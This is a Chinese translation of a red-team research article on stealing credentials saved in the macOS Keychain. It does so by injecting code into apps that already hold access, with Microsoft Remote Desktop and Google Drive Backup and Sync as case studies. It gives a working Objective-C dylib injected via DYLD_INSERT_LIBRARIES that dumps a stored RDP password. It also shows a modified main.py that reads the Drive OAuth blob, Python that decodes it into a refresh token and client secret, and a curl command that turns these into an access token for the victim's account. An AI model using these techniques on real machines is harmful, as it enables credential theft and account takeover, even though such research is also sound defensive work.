获取凭证信息是红队的常用套路,因为这些凭证可横向移动的一把好手。网上很多用Windows进行凭据恢复的研究,随着渗透人员经济条件越来越好,各位师傅都换上了Mac(馋.jpg)
所以这篇文章中,我们将探讨如何通过代理应用程序进行代码注入来访问MacOS第三方应用程序中存储的凭据,包括Microsoft远程桌面和Google云端硬盘的案例研究。
使用远程桌面应用程序时,注意它都具有一个保存RDP会话凭据的功能,如下所示:
这些会话的已存储凭据在应用程序中
发现这些凭据的第一步是探索应用程序的沙箱容器,使用命令grep -ir contoso.com查看Preferences / com.microsoft.rdc.mac.plistplist文件中包含的字符串。使用plutil -convert xml1 Preferences / com.microsoft.rdc.mac.plist将其转换为纯文本,我们看看:
在plist文件中,我们可以找到有关凭证的各种详细信息,但不幸的是,没有明文密码。如果这么简单,那就太好了。
下一步是在反汇编程序中打开“远程桌面”应用程序。
基于以上所述,我们知道已保存的条目在应用程序中被称为书签。
我们查下KeychainCredentialLoader::getPasswordForBookmark()方法,我们可以看到,除其他外,它调用了一个名为getPassword()的方法:
在getPassword()内部,它尝试通过调用findPasswordItem()方法来发现Keychain,该方法使用SecKeychainSearchCreateFromAttributes()来找到相关的Keychain并最终复制出其内容:
基于所学知识,我们现在了解到RDP会话的密码存储在Keychain中。我们可以使用Keychain access应用程序对此进行确认:
但是,如果没有提权,我们无法访问已保存的密码。
查看“访问控制”选项卡,我们可以看到Microsoft Remote Desktop.app被授予了对此项目的访问权限,并且不需要Keychain密码即可执行此操作:
回到我们最初的理论,如果我们可以注入到应用程序中,那么我们可以从Keychain中检索此密码。但是,在MacOS上进行代码注入并不是一件容易的事,并且当适当的安全控制措施到位(即SIP和适当的权利或启用了hardened runtime)时,Apple已经将其锁定了。这些选项可防止注入未经Apple签名或与应用程序相同的团队ID的库。
对我们来说幸运的是,使用codesign -dvvv –entitlements进行了验证:/Applications/Microsoft\ Remote\ Desktop.app/Contents/MacOS/Microsoft\ Remote\ Desktop我们发现没有这样的保护措施,意味着我们可以很好地使用-known DYLD_INSERT_LIBRARIES技术注入我们的动态库。
一个简单的dylib,用于根据发现的书签搜索“Keychain”项,如下所示:
#import "hijackLib.h"
@implementation hijackLib :NSObject
-(void)dumpKeychain {
NSMutableDictionary *query = [NSMutableDictionary dictionaryWithObjectsAndKeys:
(__bridge id)kCFBooleanTrue, (__bridge id)kSecReturnAttributes,
(__bridge id)kCFBooleanTrue, (__bridge id)kSecReturnRef,
(__bridge id)kCFBooleanTrue, (__bridge id)kSecReturnData,
@"dc.contoso.com", (__bridge id)kSecAttrLabel,
(__bridge id)kSecClassInternetPassword,(__bridge id)kSecClass,
nil];
NSDictionary *keychainItem = nil;
OSStatus status = SecItemCopyMatching((__bridge CFDictionaryRef)query, (void *)&keychainItem);
if(status != noErr)
{
return;
}
NSData* passwordData = [keychainItem objectForKey:(id)kSecValueData];
NSString * password = [[NSString alloc] initWithData:passwordData encoding:NSUTF8StringEncoding];
NSLog(@"%@", password);
}
@end
void runPOC(void) {
[[hijackLib alloc] dumpKeychain];
}
__attribute__((constructor))
static void customConstructor(int argc, const char **argv) {
runPOC();
exit(0);
}
编译该库并通过DYLD_INSERT_LIBRARIES注入,我们可以查看存储在Keychain中的纯文本密码:
前面的示例相对来说比较琐碎,因为远程桌面应用程序未包含任何运行时保护措施以防止未经授权的代码注入。让我们看另一个例子。
如果我们查看Google云端硬盘应用程序的元数据和权利,我们可以看到该应用程序使用了hardened runtime:
$ codesign -dvvv --entitlements :- '/Applications//Backup and Sync.app/Contents/MacOS/Backup and Sync'
Executable=/Applications/Backup and Sync.app/Contents/MacOS/Backup and Sync
Identifier=com.google.GoogleDrive
Format=app bundle with Mach-O thin (x86_64)
CodeDirectory v=20500 size=546 flags=0x10000(runtime) hashes=8+5 location=embedded
Apple介绍:
hardened runtime与系统完整性保护(SIP)一起,通过防止某些类型的利用,例如代码注入,动态链接库(DLL)劫持和进程内存空间篡改,来保护软件的运行时完整性。
我的同事亚当·切斯特(Adam Chester)之前曾谈到过,当这些保护措施不到位时,如何实现向代理应用程序的代码注入,但是在这种情况下,hardened runtime意味着如果我们尝试使用亚当描述的先前的DYLD_INSERT_LIBRARIES或Plugins技术,将失败,我们将无法再使用加载程序将其注入该进程。但是有替代路线吗?
仔细研究Google云端硬盘应用,我们会在该应用的Info.plist中发现以下内容:
<key>PyRuntimeLocations</key>
<array>
<string>@executable_path/../Frameworks/Python.framework/Versions/2.7/Python</string>
</array>
我们还注意到/ Applications / Backup和Sync.app/Contents/MacOS文件夹中的其他Python二进制文件:
-rwxr-xr-x@ 1 dmc staff 49696 23 Dec 04:00 Backup and Sync
-rwxr-xr-x@ 1 dmc staff 27808 23 Dec 04:00 python
因此,这里发生的是Google Drive的“备份和同步”应用程序实际上是基于python的应用程序,可能使用py2app或类似程序进行了编译。
让我们看看这是否为我们提供了执行代码注入的机会。
查看该应用程序,我们发现唯一的python源文件是./Resources/main.py,它执行以下操作:
from osx import run_googledrive
if __name__ == "__main__":
run_googledrive.Main()
不幸的是,我们不能修改该文件,因为它位于受SIP保护的目录中。但是,我们只需将整个应用程序复制到一个可写的文件夹中,它将保持相同的权利和代码签名;我们将其复制到/tmp。
使用/tmp文件夹中的应用程序副本,我们编辑main.py来试试是否可以修改:
if __name__ == "__main__":
print('hello hackers')
run_googledrive.Main()
运行该应用程序,我们可以看到我们已经执行了Python:
/t/B/C/Resources $ /tmp/Backup\ and\ Sync.app/Contents/MacOS/Backup\ and\ Sync
/tmp/Backup and Sync.app/Contents/Resources/lib/python2.7/site-packages.zip/wx/_core.py:16633: UserWarning: wxPython/wxWidgets release number mismatch
hello hackers
2020-02-21 09:11:36.481 Backup and Sync[89239:2189260] GsyncAppDeletegate.py : Finder debug level logs : False
2020-02-21 09:11:36.652 Backup and Sync[89239:2189260] Main bundle path during launch: /tmp/Backup and Sync.app
既然我们知道可以在代码签名无效的情况下执行任意python,是否可以以某种方式滥用它?
通过查看Keychain,我们发现该应用程序已存储了多个项目,包括以下标记为“应用程序密码”的项目。设置访问控制,以便Google云端硬盘应用无需身份验证即可恢复该访问控制:
让我们看看如何使用替代应用程序来恢复它。
回顾该应用程序如何加载其Python软件包,我们在./Resources/lib/python2.7/site-packages.zip中发现了捆绑的site-packages资源,如果我们对此进行解压缩,则可以了解发生了什么。
对“ keychain”执行初始搜索会发现几个包含字符串的模块,包括osx / storage / keychain.pyo和osx / storage / system_storage.pyo;我们感兴趣的一个是system_storage.pyo,keychain.pyo,这是keychain_ext.so共享库的Python接口,它提供了本地访问以访问Keychain。
反编译并查看system_storage.pyo,我们发现以下内容:
from osx.storage import keychain
LOGGER = logging.getLogger('secure_storage')
class SystemStorage(object):
def __init__(self, system_storage_access=None):
pass
def StoreValue(self, category, key, value):
keychain.StoreValue(self._GetName(category, key), value)
def GetValue(self, category, key):
return keychain.GetValue(self._GetName(category, key))
def RemoveValue(self, category, key):
keychain.RemoveValue(self._GetName(category, key))
def _GetName(self, category, key):
if category:
return '%s - %s' % (key, category)
return key
考虑到这一点,让我们修改main.py以尝试从Keychain中检索凭证:
from osx import run_googledrive
from osx.storage import keychain
if __name__ == "__main__":
print('[*] Poking your apps')
key = “[email protected]"
value = '%s' % (key)
print(keychain.GetValue(value))
#run_googledrive.Main()
这次,当我们运行该应用程序时,我们获得了一些似乎是base64编码的数据:
让我们更深入地了解这是什么以及我们是否可以使用它。
搜索在secure_storage.SecureStorage类是用于我们找到了TokenStorage类,包括方法:
def FindToken(self, account_name, category=Categories.DEFAULT):
return self.GetValue(category.value, account_name)
所述TokenStorage类则内使用公共/ AUTH / oauth_utils.pyo在模块LoadOAuthToken方法:
def LoadOAuthToken(user_email, token_storage_instance, http_client):
if user_email is None:
return
else:
try:
token_blob = token_storage_instance.FindToken(user_email)
if token_blob is not None:
return oauth2_token.GoogleDriveOAuth2Token.FromBlob(http_client, token_blob)
看一下oauth2_toke.GoogleDriveOAuth2Token.FromBlob方法,我们可以看到发生了什么:
@staticmethod
def FromBlob(http_client, blob):
if not blob.startswith(GoogleDriveOAuth2Token._BLOB_PREFIX):
raise OAuth2BlobParseError('Wrong prefix for blob %s' % blob)
parts = blob[len(GoogleDriveOAuth2Token._BLOB_PREFIX):].split('|')
if len(parts) != 4:
raise OAuth2BlobParseError('Wrong parts count blob %s' % blob)
refresh_token, client_id, client_secret, scope_blob = (base64.b64decode(s) for s in parts)
我们从Keychain中恢复的Blob令牌,client_id和client_secret等的base64副本。我们可以使用以下方法恢复它们:
import base64
_BLOB_PREFIX = '2G'
blob = ‘2GXXXXXXXXXXXXX|YYYYYYYYYYYYYY|ZZZZZZZZZZZ|AAAAAAAAAA='
parts = blob[len(_BLOB_PREFIX):].split('|')
refresh_token, client_id, client_secret, scope_blob = (base64.b64decode(s) for s in parts)
print(refresh_token)
print(client_id)
print(client_secret)
然后,刷新令牌可用于请求新的访问令牌,以提供用户身份访问Google帐户:
$ curl https://www.googleapis.com/oauth2/v4/token \
-d client_id=11111111111.apps.googleusercontent.com \
-d client_secret=XXXXXXXXXXXXX \
-d refresh_token=‘1/YYYYYYYYYYYYY' \
-d grant_type=refresh_token
{
"access_token": “xxxxx.aaaaa.bbbbb.ccccc",
"expires_in": 3599,
"scope": "https://www.googleapis.com/auth/googletalk https://www.googleapis.com/auth/drive https://www.googleapis.com/auth/peopleapi.readonly https://www.googleapis.com/auth/contactstore.readonly",
"token_type": "Bearer"
}
在这项研究中,介绍如何通过滥用代码注入替代应用程序来从MacOS设备的Keychain中恢复凭证而无需提升权限。尽管Apple提供了一些保护措施来限制代码注入,但是当利用已经具有访问存储资源所需权限的代理应用程序时,这些保护措施并不总是完全有效的。
*参考来源:mdsec,FB小编周大涛编译,转载请注明来自FreeBuf.COM